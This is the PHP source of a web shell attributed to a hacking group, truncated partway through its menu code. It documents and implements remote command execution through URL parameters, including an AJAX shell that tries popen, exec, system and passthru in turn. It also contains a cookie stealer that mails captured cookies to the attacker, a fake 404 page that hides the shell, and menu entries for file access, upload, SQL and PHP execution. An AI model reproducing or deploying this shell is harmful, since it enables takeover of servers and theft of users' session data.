/*
######################################################################
# [GHT]FiSh presents: #
# by GHT #
############################DOCUMENTATION#############################
#To execute commands, simply include ?cmd=___ in the url. #
#Ex: http://site.com/shl.php?cmd=whoami #
# #
#To steal cookies, use ?cookie=___ in the url. #
#Ex: #
# #
#In the AJAX command shell, type 'home' to return to the shell's #
#directory. Type 'clear' to clear the output screen. #
##########################VERIFICATION LEVELS#########################
#0: No protection; anyone can access #
#1: User-Agent required #
#2: Require IP #
#3: Basic Authentication #
##############################KNOWN BUGS##############################
#The SQL tool is NOT complete. There is currently no editing function#
#available. Some time in the future this may be fixed, but for now #
#don't complain to me about it #
################################SHOUTS################################
#pr0be - Beta testing & CSS #
#TrinTiTTY - Beta testing #
#clorox - Beta testing #
#Everyone else at g00ns.net #
########################NOTE TO ADMINISTRATORS########################
#If this script has been found on your server without your approval, #
#it would probably be wise to delete it and check your logs. #
######################################################################
*/
// Configuration
$auth = 0;
$uakey = "b5c3d0b28619de70bf5588505f4061f2"; // MD5 encoded user-agent
$IP = array("127.0.0.2","127.0.0.1"); // IP Addresses allowed to access shell
$email = ""; // E-mail address where cookies will be sent
$user = "GHT { Lito , Mr.Ps ,MR>Killer"; // MD5 encoded User
$pass = "GHT"; // MD5 encoded Password
// Global Variables
$version = '2.0';
$self = $_SERVER['PHP_SELF'];
$soft = $_SERVER['SERVER_SOFTWARE'];
$servinf = split('[:]', $_SERVER['HTTP_HOST']);
$servip = $servinf[0];
$servport = @$servinf[1] ? $servinf[1] : '80';
$cmd = @$_GET['cmd'];
$act = @$_GET['act'];
$cmd = @$_GET['cmd'];
$curdir = cleandir(getcwd());
if(@$_GET['dir']){
$dir = $_GET['dir'];
if($dir != 'nullz') $dir = cleandir($dir);
}
$contents = @$_POST['contents'];
$gf = @$_POST['gf'];
$img = @$_GET['img'];
// Credits to disruptiv for this bit ;)
if(count(get_included_files()) > 1 || count(get_included_files()) > 1) list($me) = explode("&", $_SERVER['REQUEST_URI']);
else $me = $PHP_SELF . "?";
@session_start();
@set_time_limit(5);
switch($auth){ // Authentication switcher
case 1: if(md5($_SERVER['HTTP_USER_AGENT']) != $uakey) hide(); break;
case 2: if(!in_array($_SERVER['REMOTE_ADDR'],$IP)) hide(); break;
case 3: if(!$_SERVER['PHP_AUTH_USER']) userauth(); break;
default: break;
}
function cleandir($d){ // Function to clean up the $dir and $curdir variables
$d = realpath($d);
$d = str_replace("\\\\", "\\", $d);
$d = str_replace("////", "//", $d);
return($d);
}
function userauth(){ // Basic authentication function
global $user, $pass;
header("WWW-Authenticate: Basic realm='Secure Area'");
if(md5($_SERVER['PHP_AUTH_USER']) != $user || md5($_SERVER['PHP_AUTH_PW'] != $pass)) hide();
}
function get_exec_function(){ // Command execution method finder
$exec_functions = array("popen", "exec", "shell_exec", "system", "passthru");
$disabled_funcs = ini_get('disable_functions');
foreach($exec_functions as $f) if(strpos($disabled_funcs, $f) === false) return $f;
}
function execute_command($exec_function, $command){ // Command execution function
switch($exec_function){
case "popen": $h = popen($command, "r"); while(!feof($h)) echo(fgets($h)); break;
case "exec": exec($command, $result); foreach($result as $r) echo($r . "\n"); break;
case "shell_exec": echo(shell_exec($command)); break;
case "system": system($command); break;
case "passthru": passthru($command); break;
}
}
if(!$act && !$cmd && !@$_GET['cookie'] && !@$_GET['f'] && !@$dir && !$gf && !$img && !@$_GET['ajxcmd']) main();
elseif(!$act && $cmd){ // Raw command execution
style();
echo("Results:\n
");
echo("");
}
elseif(@$_GET['ajxcmd']){ // Command execution for AJAX shell
if($_GET['ajxcmd'] == "home") $_SESSION['work_dir'] = getcwd();
elseif($exec_function = get_exec_function()){
if(strpos($_GET['ajxcmd'], 'cd') === 0){
$c = array_pop(explode(" ", $_GET['ajxcmd']));
if(@is_dir($_SESSION['work_dir'] . DIRECTORY_SEPARATOR . $c) && $c[0] != '\\' && $c[0] != '//') $_SESSION['work_dir'] .= DIRECTORY_SEPARATOR . $c;
elseif(@is_dir($c) && $c[0] != '.') $_SESSION['work_dir'] = $c;
else echo("Invalid directory\n");
}
else{
@chdir($_SESSION['work_dir']);
execute_command($exec_function, $_GET['ajxcmd']);
}
}
else die("All execution methods disabled.");
}
elseif(@$_GET['cookie']){@mail($email, "Cookie Data", @$_GET['cookie'], "From: $email"); hide();} // Cookie stealer function
elseif($act == 'view' && @$_GET['f'] && $dir) view($_GET['f'], $dir);
elseif($img) img($img);
elseif($gf) grab($gf);
elseif(@$dir) files($dir);
else{
switch($act){
case 'phpinfo': phpinfo();break;
case 'sql': sql();break;
case 'files': files(@$dir);break;
case 'email': email();break;
case 'cmd': cmd();break;
case 'upload': upload();break;
case 'tools': tools();break;
case 'sqllogin': sqllogin();break;
case 'sql': sql();break;
case 'lookup': lookup();break;
case 'kill': kill();break;
case 'phpexec': execphp();break;
case 'bshell': bshell();break;
default: main();break;
}
}
function hide(){ // Hiding function
global $self, $soft, $servip, $servport;
header("HTTP/1.0 404 Not Found");
?>
404 Not Found
GHT | GAZA HACKER TEAM
All By || Lito | Mr.PS | MR>Killer
Not Found
The requested URL was not found on this server.
Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.
die();
}
function style(){ // Style / header function
global $servip,$version;
?>
All By GHT WWW.HACKER.PS shell v.<?php echo($version . "-" . $servip); ?>
}
function main(){ // Main/menu function
global $me, $self, $servip, $servport, $soft, $version;
style();
$act = array('cmd'=>'Command Execute','files'=>'File View','phpinfo'=>'PHP info', 'phpexec'=>'PHP Execute',
'tools'=>'Tools','sqllogin'=>'SQL','upload'=>'Get Files','kill'=>'Kill Shell');
$capt = array_flip($act);
echo(" |
